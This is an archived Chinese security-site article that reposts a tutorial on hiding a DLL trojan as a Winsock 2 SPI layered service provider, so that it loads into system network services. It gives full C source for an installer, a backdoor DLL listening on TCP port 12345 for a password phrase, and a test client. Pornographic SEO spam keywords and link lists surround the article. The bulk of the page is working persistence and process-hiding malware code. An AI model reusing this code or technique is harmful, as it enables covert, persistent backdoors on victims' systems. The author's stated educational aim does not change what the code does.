成人午夜激情影院,小视频免费在线观看,国产精品夜夜嗨,欧美日韩精品一区二区在线播放

當前位置:首頁>>軟件教程>>病毒安全>>新聞內容
無進程DLL木馬的又一開發思路與實現
作者:佚名 發布時間:2004-4-13 12:10:11 文章來源:西部E網
一.Windows下進程的隱藏
二.Windows Socket 2 SPI技術概述
三.基于SPI的DLL木馬技術
四.主要代碼分析
五.小結與后記
六.附錄之源代碼

一)Windows下進程的隱藏
    在M$的32位操作系統中,有許許多多的辦法可以實現進程隱藏的功能。在Win98下將程序注冊為系統服務就可以實現在進程列表里的隱藏,但是在NT/2000下,由于操作系統添加了許多特性使得進程的隱藏提到了一個新的高度。其中,DLL木馬是非常流行的一種形式,它將自己添加到其他可執行文件的進程里,這樣在任務管理器里就不會出現我們的DLL文件,而是我們DLL的載體EXE文件。在Jeffrey Richter大師的文章里提到了好幾種插入DLL的方式,比如說在注冊表的AppInit_DLLs里添加木馬DLL,特洛伊DLL方式,使用Windows掛鉤和遠程線程的插入等等,在此我就不做詳細介紹了。現在給大家介紹一種隱藏進程的新方法,它仍然是以DLL的形式存在的(同樣需要由其他可執行文件來加載),而且還具有無端口的特性。它就是使用了Windows Socket 2的新特性,服務提供者接口(Service Provider Interface),SPI試圖支持所有的32位Windows操作系統,當然也包括Windows95。

二)Windows Socket 2 SPI技術概述
    Winsock 2 SPI是一個新特性,是為書寫服務提供者的人員提供的。Winsock 2不僅提供了一個供應用程序訪問網絡服務的Windows socket應用程序編程接口(API),還包含了由傳輸服務提供者和名字解析服務提供者實現的Winsock服務提供者接口(SPI)和ws2_32.dll。在此以傳輸服務提供者為例來實現進程的隱藏。如下是應用程序,Ws2_32.dll和傳輸服務提供者接口之間的層次關系:
----------------------------
|Windows socket 2 應用程序|
----------------------------Windows socket 2 API
|       WS2_32.DLL        |
----------------------------Windows socket 2 傳輸SPI
|   傳輸服務提供者(DLL)  |  
----------------------------
    傳輸服務提供者是以DLL的形式存在的,它向外只有一個入口函數,那就是WSPStartup,其中的參數LPWSAPRTOCOL_INFOW結構指針決定了服務提供者的類型,其他的30個傳輸服務提供者函數是以分配表的方式調用的。當網絡應用程序調用WSASocket/socket函數創建套接字時,會有三個參數:地址族,套接字類型和協議,正是這三個參數共同決定了是由哪一個類型的傳輸服務提供者來實現本應用程序的功能。在整個層次結構中,Ws2_32.dll只是起到了媒介的作用,應用程序則是對用戶功能的實現,而真正實現網絡傳輸功能的是傳輸服務提供者接口。當前系統中有一些默認的服務提供者,它們已經實現了大部分基本的功能,所以我們自己在書寫服務提供者程序時,只須對數據報進行“修飾”后,將數據報傳送給系統服務提供者來實現剩下的功能。

    在服務提供者中有三種協議:分層協議,基礎協議和協議鏈。區分它們的方法是通過結構WSAPROTOCOL_INFOW中的Protocolchain結構的ChainLen值來實現的。分層協議的ChainLen值為0,基礎協議的值為1,而協議鏈的值是大于1。其實分層協議和基礎協議在功能實現上沒有太大的區別(均可通過調用系統服務提供者實現數據轉發),但是在安裝上卻有很大的不同。安裝基礎協議時我們把所有的基礎服務提供者的DLL文件名和路徑都替換為我們自定義的基礎協議;而安裝分層協議后,我們還必須將和分層協議有關的各個協議組成協議鏈,然后再安裝協議鏈。在所有的服務提供者都安裝完后,我們還必須重新排列它們的安裝順序,這一點很重要。當我們的WSASocket/socket創建套接字時,Ws2_32.dll就會在服務提供者數據庫中按順序搜索和WSAStartup/socket提供的三個參數相匹配的服務提供者,如果同時有兩個相同類型的服務提供者存在于服務提供者數據庫中,那么順序在前的那個服務提供者就會被調用。通常,在我們安裝完自己的服務提供者后,都會將自己的服務提供者重新排列在最前面。在實例instBD.exe中,我們以分層協議為例,展示如何安裝傳輸服務提供者。

    Ws2_32.dll是使用標準的動態鏈接庫來加載服務提供者接口的DLL到系統中去的,并調用WSPStartup來初始化。WSPStartup是Windows Socket 2應用程序調用SPI程序的初始化函數,也就是入口函數。WSPStartup的參數LPWSAPROTOCOL_INFOW指針提供應用程序所期望的協議信息,然后通過這個結構指針我們可以獲得所保存的系統服務提供者的DLL名稱和路徑,加載系統服務提供者后查找到系統SPI程序的WSPStartup函數的指針,通過這個指針我們就可以將自己服務提供者的WSPStartup函數和系統SPI程序的WSPStartup函數相關聯,進而調用系統的各個服務提供者函數。在數據傳輸服務提供者的實現中,我們需要兩個程序,一個是可執行文件用來安裝傳輸服務提供者;另一個就是DLL形式的數據傳輸服務提供者。

三)基于SPI的DLL木馬技術
    上面我們已經介紹了傳輸服務提供者的特性,現在讓我們來看看如果將這種技術運用于木馬進程隱藏的。在每個操作系統中都有系統網絡服務,它們是在系統啟動時自動加載,而且很多是基于IP協議的。如果我們書寫了一個IP協議的傳輸服務提供者,并安裝在服務提供者數據庫的最前端,系統網絡服務就會加載我們的服務提供者。如果將木馬程序嵌入到服務提供者的DLL文件之中,在啟動系統網絡服務時我們的木馬程序也會被啟動。這種形式的DLL木馬只須被安裝一次,而后就會被自動加載到可執行文件的進程中,還有一個特點就是它會被多個網絡服務加載。通常在系統關閉時,系統網絡服務才會結束,所以我們的木馬程序同樣可以在系統運行時保持激活狀態。
    在傳輸服務提供者中,有30個SPI函數是以分配表的形式存在的。在Ws2_32.dll中的大多數函數都有與之對應的傳輸服務提供者函數。如WSPRecv和WSPSend,它們在Ws2_32.dll中的對應函數是WSARecv和WSASend。我們假設自己編寫了一個基于IP協議的服務提供者并安裝于系統之中,當系統重啟時它被svchost.exe程序加載了,而且svchost.exe在135/TCP監聽,完事具備了。在我們的傳輸服務提供者中,自己重新編寫了WSPRecv函數,對接收到的數據進行分析,如果其中含有客戶端發送過來的暗號,就執行相應的命令獲得期望的動作,之后我們可以調用WSPSend函數將結果發送到客戶端,這樣不僅隱藏了進程,而且還重用了已有的端口。

四)主要代碼分析
    1.instBD.exe
    可執行程序instBD.exe的主要功能是安裝我們自己的分層傳輸服務提供者,并重新排列所有傳輸服務提供者的順序,使我們的服務提供者位于協議鏈的頂端,這樣相應類型的應用程序就會首先進入我們的傳輸服務提供者接口。本程序只有一個參數,就是安裝(-install)或卸載(-remove)。作為演示,本程序只安裝了IP分層協議及與TCP相關的協議鏈。在backdoor.dll中,我們不對數據報進行任何修飾,只是在啟動我們的木馬進程。
    自定義函數:
    BOOL  getfilter();     //獲得所有已經安裝的傳輸服務提供者
    void  freefilter();    //釋放存儲空間
    void  installfilter(); //安裝分層協議,協議鏈及排序
    void  removefilter();  //卸載分層協議和協議鏈

    代碼分析:
    protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize);
    //分配WSAPROTOCOL_INFOW結構的存儲空間
    totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode);
    //獲得系統中已安裝的所有服務提供者
    GetCurrentDirectory(MAX_PATH,filter_path);  
    //得到當前的路徑
    _tcscpy(filter_name,_T("\\backdoor.dll"));  
    //構造服務提供者文件backdoor.dll的路徑全名
    WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode);
    //安裝自定義的IP分層協議
    iplayercataid=protoinfo[i].dwCatalogEntryId;
    //獲得已安裝自定義IP分層協議的由Ws2_32.dll分配的唯一標志
    udpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;
    //將自定義的IP分層協議作為自定義UDP協議鏈的根分層服務提供者安裝在協議鏈的頂端
    WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode);
    //安裝協議鏈
    WSCWriteProviderOrder(cataentries,totalprotos);
    //更新所有服務提供者的安裝順序,把自定義的服務提供者排在所有協議的最前列
    WSCDeinstallProvider(&filterguid,&errorcode);
    //卸載IP分層協議
    WSCDeinstallProvider(&filterchainguid,&errorcode);
    //卸載協議鏈

    2.backdoor.dll
    傳輸服務提供者都是以動態鏈接庫的形式存在的,在應用程序需要時由Ws2_32.dll加載,在用完之后就被卸載。傳輸服務提供者只有一個入口函數就是WSPStartup,它是Windows Socket 應用程序調用SPI的初始化函數,其他SPI函數的調用都是通過WSPStartup的參數WSPUPCALLTABLE來實現的。其中有個全局變量,可共所有調用DLL的程序讀取與修改。在首次加載服務提供者時,我們啟動木馬進程。演示中木馬進程沒有任何特別的功能,當客戶端和監聽的服務器端口連接后,如果客戶端發送了特定的暗號,服務端就會回送特定的消息。
    自定義函數:
    int  WSPAPI WSPStartup(    WORD wversionrequested,LPWSPDATA lpwspdata,LPWSAPROTOCOL_INFOW lpprotoinfo,
         WSPUPCALLTABLE upcalltable,LPWSPPROC_TABLE lpproctable);
    //SPI函數WSPStartup和Windows Socket 2的API函數WSAStartup相對應,WSPStartup是唯一的入口函數,剩下的30個SPI函數則是通過參數upcalltable來實現的,它們只能在內部調用,不向外提供入口
    
    代碼分析:
    hthread=CreateThread(NULL,0,backdoor,NULL,0,NULL);
    //創建木馬進程,它只是展示數據的流通
    GetModuleFileName(NULL,processname,MAX_PATH);
    //獲得調用本服務提供者動態鏈接庫的可執行文件的全名
    OutputDebugString(_T("Start the backdoor ..."));
    //輸出調試信息
    layerid=protoinfo[i].dwCatalogEntryId;
    //獲得已安裝自定義IP分層協議的由Ws2_32.dll分配的唯一標志
    nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1];
    //獲得下一層傳輸服務提供者的標志信息
    WSCGetProviderPath(&protoinfo[i].ProviderId,filterpath,&filterpathlen,&errorcode);
    //獲得下一層傳輸服務提供者的安裝路徑
    ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH);
    //擴展環境變量
    hfilter=LoadLibrary(filterpath));
    //裝載下一層傳輸服務提供者
    wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"));
    //獲得下一層傳輸服務提供者的入口函數WSPStartup,以便調用
    wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable);
    //調用下一層傳輸服務提供者的WSPStartup函數,實現鉤子功能
    nextproctable=*lpproctable;
    //保存下一層服務提供者的30個服務函數指針

    由于以動態鏈接庫形式的服務提供者要向外提供一個入口函數,因此還須一個配置文件backdoor.def:
    EXPORTS    WSPStartup
    //向外提供入口函數WSPStartup

    3.testBD.exe
    這是一個測試程序,用來檢測木馬的服務器端是否正常工作。在它發送特定的消息到服務器端后,如果服務器正常工作就會回送特定的消息,反之則不會收到任何消息。由于木馬的服務器在TCP的12345端口監聽,所以我們的客戶端也是基于TCP協議的。
  
五)小結與后記
    本文的目的在于向大家介紹一種編程思路,固不是任何的木馬教程。其實只有在不斷的對抗中,技術和思路才會不斷的提高。我們只有充分的了解了各種技術,甚至有前瞻的能力才能維護好網絡秩序,促進網絡安全的發展。最后送給大家一句老話:知己知彼,百戰不殆。

六)附錄之源代碼
    1.instBD.exe的源代碼

#define  UNICODE
#define  _UNICODE

#include <stdio.h>
#include <tchar.h>
#include <string.h>
#include <ws2spi.h>
#include <sporder.h>

                          
GUID  filterguid={0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x86,0x0d}};

GUID  filterchainguid={0xf9065320,0x9e90,0x11d1,{0x93,0x81,0x00,0xc0,0x4f,0xad,0x86,0x0d}};

BOOL  getfilter();
void  freefilter();
void  installfilter();
void  removefilter();
void  start();
void  usage();

int                   totalprotos=0;
DWORD                 protoinfosize=0;
LPWSAPROTOCOL_INFOW   protoinfo=NULL;

int main(int argc,char *argv[])
{
    start();

    if(argc==2)
    {
        if(!strcmp(argv[1],"-install"))
        {
            installfilter();
            return 0;
        }
        else if(!strcmp(argv[1],"-remove"))
        {
            removefilter();
            return 0;
        }
    }
    usage();
    return 0;
}

BOOL getfilter()
{
    int  errorcode;

    protoinfo=NULL;
    totalprotos=0;
    protoinfosize=0;

    if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)==SOCKET_ERROR)
    {
        if(errorcode!=WSAENOBUFS)
        {
            printf("First WSCEnumProtocols Error: %d\n",errorcode);
            return FALSE;
        }
    }

    if((protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize))==NULL)
    {
        printf("GlobalAlloc in getfilter Error: %d\n",GetLastError());
        return FALSE;
    }

    if((totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode))==SOCKET_ERROR)
    {
        printf("Second WSCEnumProtocols Error: %d\n",GetLastError());
        return FALSE;
    }

    printf("Found %d protocols!\n",totalprotos);
    return TRUE;
}

void freefilter()
{
    GlobalFree(protoinfo);
}

void installfilter()
{
    int                i;
    int                provcnt;
    int                cataindex;
    int                errorcode;
    BOOL               rawip=FALSE;
    BOOL               tcpip=FALSE;
    DWORD              iplayercataid=0,tcporigcataid;
    TCHAR              filter_path[MAX_PATH];            
    TCHAR              filter_name[MAX_PATH];
    TCHAR              chainname[WSAPROTOCOL_LEN+1];      
    LPDWORD            cataentries;
    WSAPROTOCOL_INFOW  iplayerinfo,tcpchaininfo,chainarray[1];

    getfilter();
    
    for(i=0;i<totalprotos;i++)
    {
        if(!rawip
           && protoinfo[i].iAddressFamily==AF_INET
           && protoinfo[i].iProtocol==IPPROTO_IP)
        {
            rawip=TRUE;
            memcpy(&iplayerinfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));
            iplayerinfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES);
        }

        if(!tcpip
           && protoinfo[i].iAddressFamily==AF_INET
           && protoinfo[i].iProtocol==IPPROTO_TCP)  
        {
            tcpip=TRUE;
            tcporigcataid=protoinfo[i].dwCatalogEntryId;
            memcpy(&tcpchaininfo,&protoinfo[i],sizeof(WSAPROTOCOL_INFOW));
            tcpchaininfo.dwServiceFlags1=protoinfo[i].dwServiceFlags1 & (~XP1_IFS_HANDLES);
        }
    }

    _tcscpy(iplayerinfo.szProtocol,_TEXT("IP FILTER"));
    iplayerinfo.ProtocolChain.ChainLen=LAYERED_PROTOCOL;

    
    if(GetCurrentDirectory(MAX_PATH,filter_path)==0)
    {
        printf("GetCurrentDirectory Error: %d\n",GetLastError());
        return ;
    }
    _tcscpy(filter_name,_TEXT("\\backdoor.dll"));
    _tcscat(filter_path,filter_name);

    if(WSCInstallProvider(&filterguid,filter_path,&iplayerinfo,1,&errorcode)==SOCKET_ERROR)
    {
        printf("WSCInstallProvider Error: %d\n",errorcode);
        return ;
    }

    freefilter();

    getfilter();

    for(i=0;i<totalprotos;i++)
    {
        if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)
        {
            iplayercataid=protoinfo[i].dwCatalogEntryId;
            break;
        }
    }

         provcnt=0;
    if(tcpip)
    {
        swprintf(chainname,_TEXT("TCP FILTER"));
        _tcscpy(tcpchaininfo.szProtocol,chainname);
        if(tcpchaininfo.ProtocolChain.ChainLen==BASE_PROTOCOL)
        {
            tcpchaininfo.ProtocolChain.ChainEntries[1]=tcporigcataid;
        }
        else
        {
            for(i=tcpchaininfo.ProtocolChain.ChainLen;i>0;i--)
            {
                tcpchaininfo.ProtocolChain.ChainEntries[i+1]=tcpchaininfo.ProtocolChain.ChainEntries[i];
            }
        }

        tcpchaininfo.ProtocolChain.ChainLen++;
        tcpchaininfo.ProtocolChain.ChainEntries[0]=iplayercataid;

        memcpy(&chainarray[provcnt++],&tcpchaininfo,sizeof(WSAPROTOCOL_INFOW));
    }

    if(WSCInstallProvider(&filterchainguid,filter_path,chainarray,provcnt,&errorcode)==SOCKET_ERROR)
    {
        printf("WSCInstallProvider for chain Error: %d\n",errorcode);
        return ;
    }

    freefilter();

    getfilter();

    if((cataentries=(LPDWORD)GlobalAlloc(GPTR,totalprotos*sizeof(WSAPROTOCOL_INFOW)))==NULL)
    {
        printf("GlobalAlloc int installfilter Error: %d\n",errorcode);
        return ;
    }

    cataindex=0;
    for(i=0;i<totalprotos;i++)
    {
        if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0
          || memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))==0)
        {
            cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId;
        }
    }

    for(i=0;i<totalprotos;i++)
    {
        if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))!=0
          && memcmp(&protoinfo[i].ProviderId,&filterchainguid,sizeof(GUID))!=0)
        {
            cataentries[cataindex++]=protoinfo[i].dwCatalogEntryId;
        }
    }

    if((errorcode==WSCWriteProviderOrder(cataentries,totalprotos))!=ERROR_SUCCESS)
    {
        printf("WSCWriteProviderOrder Error: %d\n",GetLastError());
        return ;
    }

    freefilter();
}

void removefilter()
{
    int  errorcode;

    if(WSCDeinstallProvider(&filterguid,&errorcode)==SOCKET_ERROR)
    {
        printf("WSCDeinstall filterguid Error: %d\n",errorcode);
    }

    if(WSCDeinstallProvider(&filterchainguid,&errorcode)==SOCKET_ERROR)
    {
        printf("WSCDeinstall filterchainguid Error: %d\n",errorcode);
    }
    return ;
}

void  start()
{
    printf("Install BackDoor, by TOo2y\n");
    printf("E-mail: TOo2y@safechina.net\n");
    printf("Homepage: www.safechina.net\n");
    printf("Date: 11-3-2002\n\n");
    return ;
}
void  usage()
{
    printf("instBD  [ -install | -remove]\n");
    return ;
}


    2.backdoor.dll的源代碼

#pragma data_seg("Shared")
int     dllcount=0;
#pragma data_seg()
#pragma comment (linker,"/section:Shared,rws")

#define  UNICODE
#define  _UNICODE

#include <ws2spi.h>
#include <tchar.h>
#include <winsock2.h>  

GUID  filterguid={0xc5fabbd0,0x9736,0x11d1,{0x93,0x7f,0x00,0xc0,0x4f,0xad,0x86,0x0d}};

LPWSAPROTOCOL_INFOW  protoinfo=NULL;
WSPPROC_TABLE        nextproctable;
DWORD                protoinfosize=0;
HANDLE               hmutex;  
HANDLE               hthread;
POINT                nowpt;
int                  totalprotos=0;

DWORD WINAPI backdoor(LPVOID)  
{
    SOCKET   sock,sockt;
    WSADATA  wsa;
    int      iret=0;
    char     msg[25];
    struct   sockaddr_in sin;

    if(WSAStartup(MAKEWORD(2,2),&wsa))
    {
        OutputDebugString(_T("WSAStartup Error!"));
        return 0;
    }

    if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        OutputDebugString(_T("Socket Error!"));
        return 0;
    }

    sin.sin_addr.s_addr=htons(INADDR_ANY);
    sin.sin_family=AF_INET;
    sin.sin_port=htons(12345);

    if(bind(sock,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
    {
        OutputDebugString(_T("Bind Error!"));
        return 0;
    }

    if(listen(sock,5)==SOCKET_ERROR)
    {
        OutputDebugString(_T("Listen Error!"));
        return 0;
    }

    while(1)
    {
        if((sockt=accept(sock,NULL,NULL))==SOCKET_ERROR)
        {
                          OutputDebugString(_T("Accept Error!"));
                         continue;
        }

        
        if((iret==recv(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)
        {
            OutputDebugString(_T("Recv Error!"));
            closesocket(sockt);
            continue;  
        }

        if(strstr(msg,"i am TOo2y"))
        {
            memset(msg,0,sizeof(msg));
            memcpy(msg,"i am waiting for you !",sizeof(msg)-1);

            if((iret==send(sockt,msg,sizeof(msg),0))==SOCKET_ERROR)
            {
                OutputDebugString(_T("Send Error!"));
                closesocket(sockt);
                continue;
            }
        }
        OutputDebugString(_T("Transport Successfully"));
        closesocket(sockt);
    }
    return 1;
}

BOOL getfilter()
{
    int    errorcode;

    protoinfo=NULL;
    protoinfosize=0;
    totalprotos=0;

    if(WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode)==SOCKET_ERROR)
    {
        if(errorcode!=WSAENOBUFS)
        {
            OutputDebugString(_T("First WSCEnumProtocols Error!"));
                      return FALSE;
        }
    }

    if((protoinfo=(LPWSAPROTOCOL_INFOW)GlobalAlloc(GPTR,protoinfosize))==NULL)
    {
        OutputDebugString(_T("GlobalAlloc Error!"));  
        return FALSE;
    }

    if((totalprotos=WSCEnumProtocols(NULL,protoinfo,&protoinfosize,&errorcode))==SOCKET_ERROR)
    {
        OutputDebugString(_T("Second WSCEnumProtocols Error!"));  
        return FALSE;
    }

    return TRUE;
}

void freefilter()
{
    GlobalFree(protoinfo);
}

BOOL WINAPI DllMain(HINSTANCE hmodule,
                    DWORD     reason,
                    LPVOID    lpreserved)
{
    TCHAR   processname[MAX_PATH];
    TCHAR   showmessage[MAX_PATH+25];


    switch(reason)
    {
    case DLL_PROCESS_ATTACH:
        {
                          GetModuleFileName(NULL,processname,MAX_PATH);
                      _tcscpy(showmessage,processname);
                            _tcscat(showmessage,_T(" Loading my dll ..."));
                            OutputDebugString(showmessage);  

            hmutex=CreateMutex(NULL,FALSE,NULL);                
            WaitForSingleObject(hmutex,INFINITE);
            dllcount++;
            if(dllcount==1)
            {
                OutputDebugString(_T("Start the backdoor ..."));
                hthread=CreateThread(NULL,0,backdoor,NULL,0,NULL);  
            }
            ReleaseMutex(hmutex);
            break;
        }
    case DLL_PROCESS_DETACH:
        {
            WaitForSingleObject(hmutex,INFINITE);
            dllcount--;
            if(dllcount==0)
            {
                CloseHandle(hthread);
            }
            ReleaseMutex(hmutex);
            CloseHandle(hthread);
            break;
        }
    }
    return TRUE;
}


int WSPAPI WSPStartup(
    WORD            wversionrequested,
    LPWSPDATA            lpwspdata,
    LPWSAPROTOCOL_INFOW    lpprotoinfo,
    WSPUPCALLTABLE        upcalltable,
    LPWSPPROC_TABLE        lpproctable)
{
    int           i;
    int           errorcode;
         int           filterpathlen;
    DWORD         layerid=0;
         DWORD         nextlayerid=0;
         TCHAR         *filterpath;
    HINSTANCE     hfilter;
    LPWSPSTARTUP  wspstartupfunc=NULL;

    if(lpprotoinfo->ProtocolChain.ChainLen<=1)
    {
              OutputDebugString(_T("ChainLen<=1"));    
        return FALSE;
    }
    
    getfilter();

    for(i=0;i<totalprotos;i++)
    {
        if(memcmp(&protoinfo[i].ProviderId,&filterguid,sizeof(GUID))==0)
        {
            layerid=protoinfo[i].dwCatalogEntryId;
            break;
        }
    }

    for(i=0;i<lpprotoinfo->ProtocolChain.ChainLen;i++)
    {
        if(lpprotoinfo->ProtocolChain.ChainEntries[i]==layerid)
        {
            nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1];
            break;
        }
    }

    filterpathlen=MAX_PATH;
    filterpath=(TCHAR*)GlobalAlloc(GPTR,filterpathlen);  
    for(i=0;i<totalprotos;i++)
    {
        if(nextlayerid==protoinfo[i].dwCatalogEntryId)
        {
            if(WSCGetProviderPath(&protoinfo[i].ProviderId,filterpath,&filterpathlen,&errorcode)==SOCKET_ERROR)
            {
                                      OutputDebugString(_T("WSCGetProviderPath Error!"));
                return WSAEPROVIDERFAILEDINIT;
            }
            break;
        }
    }

    if(!ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH))
    {
                  OutputDebugString(_T("ExpandEnvironmentStrings Error!"));  
        return WSAEPROVIDERFAILEDINIT;
    }

    if((hfilter=LoadLibrary(filterpath))==NULL)
    {
                  OutputDebugString(_T("LoadLibrary Error!"));
        return WSAEPROVIDERFAILEDINIT;
    }

    if((wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"))==NULL)
    {
        OutputDebugString(_T("GetProcessAddress Error!"));
        return WSAEPROVIDERFAILEDINIT;
    }

    if((errorcode=wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable))!=ERROR_SUCCESS)
    {
        OutputDebugString(_T("wspstartupfunc Error!"));
        return errorcode;
    }

    nextproctable=*lpproctable;

    freefilter();
    return 0;
}


    3.testBD.exe的源代碼

#include <winsock2.h>
#include <stdio.h>
#include <conio.h>

int main()
{
    WSADATA  wsa;
    SOCKET   sock;
    struct   sockaddr_in sin;
    char     msg[25]="i am TOo2y";
    int      iret;

    printf("===[ Test for SPI BackDoor ]===\n");
    printf("===[ TOo2y  at  11-3-2002  ]===\n\n");

    if(WSAStartup(MAKEWORD(2,2),&wsa))
    {
        printf("WSAStartup Error: %d\n",WSAGetLastError());
        getche();
        return -1;
    }

    if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket Error: %d\n",WSAGetLastError());
        getche();
        return -1;
    }

    sin.sin_addr.s_addr=inet_addr("127.0.0.1");
    sin.sin_family=AF_INET;
    sin.sin_port=htons(12345);

    if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))==SOCKET_ERROR)
    {
        printf("Connect Error: %d\n",WSAGetLastError());
        getche();
        return -1;
    }

         if((iret=send(sock,msg,sizeof(msg),0))==SOCKET_ERROR)
    {
        printf("Send Error: %d\n",WSAGetLastError());
        getche();
        return -1;
    }

    memset(msg,0,sizeof(msg));
    if((iret=recv(sock,msg,sizeof(msg),0))==SOCKET_ERROR)
    {
        printf("Recv Error: %d\n",WSAGetLastError());
        getche();
        return -1;
    }
    printf("Re: ");
         printf(msg);

    closesocket(sock);
    WSACleanup();
    getche();
    return 0;
}

最新更新
·getPlusPlus_Adobe.exe是什么
·刪除v6677.cn網站修改瀏覽器
·十大Windows7適用的殺毒軟件
·如何去掉ESET NOD32在郵件中
·免費獲得諾頓NIS 2010注冊碼
·Cnups.dll是什么文件,怎樣刪
·au_.exe文件時病毒嗎?怎么樣
·卡巴斯基自動更新到100%不動
·自己動手打造U盤版殺毒軟件
·讓你永久免費使用卡巴斯基的
相關信息
·了解常用的集中網站掛馬和防范方法
·查電腦是否被安裝木馬三個小命令
·一個讓word文檔打開死慢的木馬(winlogin.exe)
·微型PHP木馬的探討
·巧設密碼氣死木馬
·警惕木馬Dropper病毒鏈接非法網站
·看看你是為誰在養“木馬”
·各種木馬隱藏技術全方位大批露
·躲避FSO木馬的有害侵擾
·手工剿滅QQ廣告彈出木馬
畫心
愚愛
偏愛
火苗
白狐
畫沙
犯錯
歌曲
傳奇
稻香
小酒窩
獅子座
小情歌
全是愛
棉花糖
海豚音
我相信
甩蔥歌
這叫愛
shero
走天涯
琉璃月
Nobody
我愛他
套馬桿
愛是你我
最后一次
少女時代
灰色頭像
斷橋殘雪
美了美了
狼的誘惑
我很快樂
星月神話
心痛2009
愛丫愛丫
半城煙沙
旗開得勝
郎的誘惑
愛情買賣
2010等你來
我叫小沈陽
i miss you
姑娘我愛你
我們都一樣
其實很寂寞
我愛雨夜花
變心的玫瑰
犀利哥之歌
你是我的眼
你是我的OK繃
貝多芬的悲傷
哥只是個傳說
丟了幸福的豬
找個人來愛我
要嫁就嫁灰太狼
如果這就是愛情
我們沒有在一起
寂寞在唱什么歌
斯琴高麗的傷心
別在我離開之前離開
不是因為寂寞才想你
愛上你等于愛上了錯
在心里從此永遠有個你
一個人的寂寞兩個人的錯
主站蜘蛛池模板: 航空| 冷水江市| 永州市| 隆昌县| 扬州市| 温宿县| 清河县| 永善县| 清涧县| 丰顺县| 望都县| 工布江达县| 永春县| 巴彦淖尔市| 凤凰县| 临西县| 米脂县| 休宁县| 武乡县| 荆州市| 峨边| 射阳县| 玉山县| 诸暨市| 泉州市| 绵阳市| 山阳县| 石屏县| 广南县| 东兴市| 丽江市| 澄江县| 来宾市| 明溪县| 文登市| 库伦旗| 哈密市| 北碚区| 浦北县| 翼城县| 通山县|